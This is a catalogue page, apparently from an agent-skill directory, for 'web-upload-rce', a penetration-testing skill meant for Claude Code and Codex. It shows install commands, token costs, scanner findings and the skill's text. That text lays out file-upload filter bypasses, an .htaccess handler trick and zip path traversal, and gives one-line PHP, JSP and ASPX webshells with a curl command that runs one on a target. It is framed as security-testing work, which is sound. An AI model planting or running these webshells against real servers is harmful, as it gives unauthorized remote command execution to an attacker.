web-upload-rce

web-upload-rce is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 76 tokens per session (688 once invoked), scanned A, original, MIT.

A security-testing guide for unsafe file uploads that may let an attacker run code on a web server. It covers uploads such as images, documents, imports, and attachments.

In plain words
What is it for?
Use it to assess upload forms, file-type checks, upload locations, and related risks such as stored script execution or path traversal.
Why use it?
It helps find cases where uploaded files are stored in a publicly reachable location or are interpreted as program files.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to assess upload forms, file-type checks, upload locations, and related risks such as stored script execution or path traversal.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/s0ld13rr/pentestcode/upload-rce
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add s0ld13rr/pentestcode --skill upload-rce
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-upload-rce

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/upload-rce/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/upload-rce)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/upload-rce"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/upload-rce/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for web-upload-rce

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/upload-rce"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/upload-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 76 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 688 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 19
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
  • high YARA Match · line 27
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
  • high YARA Match · line 27
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
  • high YARA Match · line 27
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00076 $0.00688
Opus 5.5 $0.00030 $0.00275
Sonnet 5.5 $0.00015 $0.00138
Haiku 4.5 $0.00008 $0.00069

Measured 1mo ago against content hash a566ac34c0b1, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

web-upload-rce scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl 'http://<t>/uploads/shell.phtml?c=id' # execute → prove
skills/web/upload-rce/SKILL.md · 39 lines

How it starts

The opening of the file, as written. The whole thing — 39 lines — stays where its author put it; the contents beside it link to each section on GitHub.

File Upload → RCE

When this fires

Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.

Detect

  1. Upload a benign file, find WHERE it lands (response URL, predictable /uploads/<name>, guess via ffuf).
  2. Probe the filter: try .php, .phtml, .php5, .phar, .jsp, .aspx — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).

Decide — which bypass

  • Extension blocklist → .phtml/.php5/.phar/.pht; double shell.php.jpg; trailing shell.php%00.jpg (old); case shell.PHP; .php. (Apache).
  • MIME check only → keep .php, set Content-Type: image/png.
  • Magic-byte/content check → prepend GIF89a; or valid image header, then PHP: GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg).
  • Server config writable → upload .htaccess (AddType application/x-httpd-php .jpg) then a .jpg webshell.
  • SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (../../) to write outside the upload dir.

Exploit → PROVE IMPACT

# minimal webshells
echo '<?php system($_GET["c"]); ?>' > shell.phtml     # PHP
# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %>   ASPX: Process.Start("cmd","/c "+Request["c"])
curl 'http://<t>/uploads/shell.phtml?c=id'             # execute → prove

Proof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.

Tooling

ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.

False positives / pitfalls

  • Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
  • Antivirus/content scan strips shells → try polyglot + less-common handler extension.
  • Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.

Read the full file on GitHub · 39 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 39 lines · 76 tokens per session scan A a566ac34c0b1

Subscribe to this mod's changes

web-upload-rce is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 76 tokens to every session and 688 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

lictor-security-check

Pre-release security audit for ANY project — AI-built or hand-written, web or mobile. Scans the codebase for the full range of real-world risks that get apps breached: leaked API & AI-provider keys, exposed configs/secrets, broken auth & access control (IDOR), injection (SQL/XSS/command), SSRF, open databases & cloud…

Raffa-jarrl/Lictor-AI · 135 tokens

lictor-rotate

Walks the user through rotating a leaked API key — step by step, provider-specific. Knows the exact URL to visit, the exact button to click, and how to verify the rotation worked. Supports Stripe, OpenAI, Anthropic, Google Cloud / AI Studio, GitHub, AWS, Slack, Supabase, Firebase, Postmark, and generic OAuth providers.

Raffa-jarrl/Lictor-AI · 80 tokens

lictor-explain

Takes any security finding, error message, or jargon-heavy security advice and explains it in plain English. Use this when someone is confused by what /lictor-security-check found, or when they got a security warning from another tool and don't understand it.

Raffa-jarrl/Lictor-AI · 56 tokens

openai-patterns

Production OpenAI API patterns — model selection, prompt engineering, function calling, streaming, error handling, cost control, and structured outputs.

chandrudp29/skillhub · 31 tokens

lictor-fix-it

Applies the fixes recommended by /lictor-security-check, with the user's explicit permission for each change. Walks through findings one at a time, shows the proposed change, gets approval, applies, runs tests if available, and moves on. Some fixes (rotating leaked credentials) require the user to act outside Claude …

Raffa-jarrl/Lictor-AI · 75 tokens

pydantic-ai

Build production-ready AI agents with PydanticAI — type-safe tool use, structured outputs, dependency injection, and multi-model support.

davila7/claude-code-templates · 32 tokens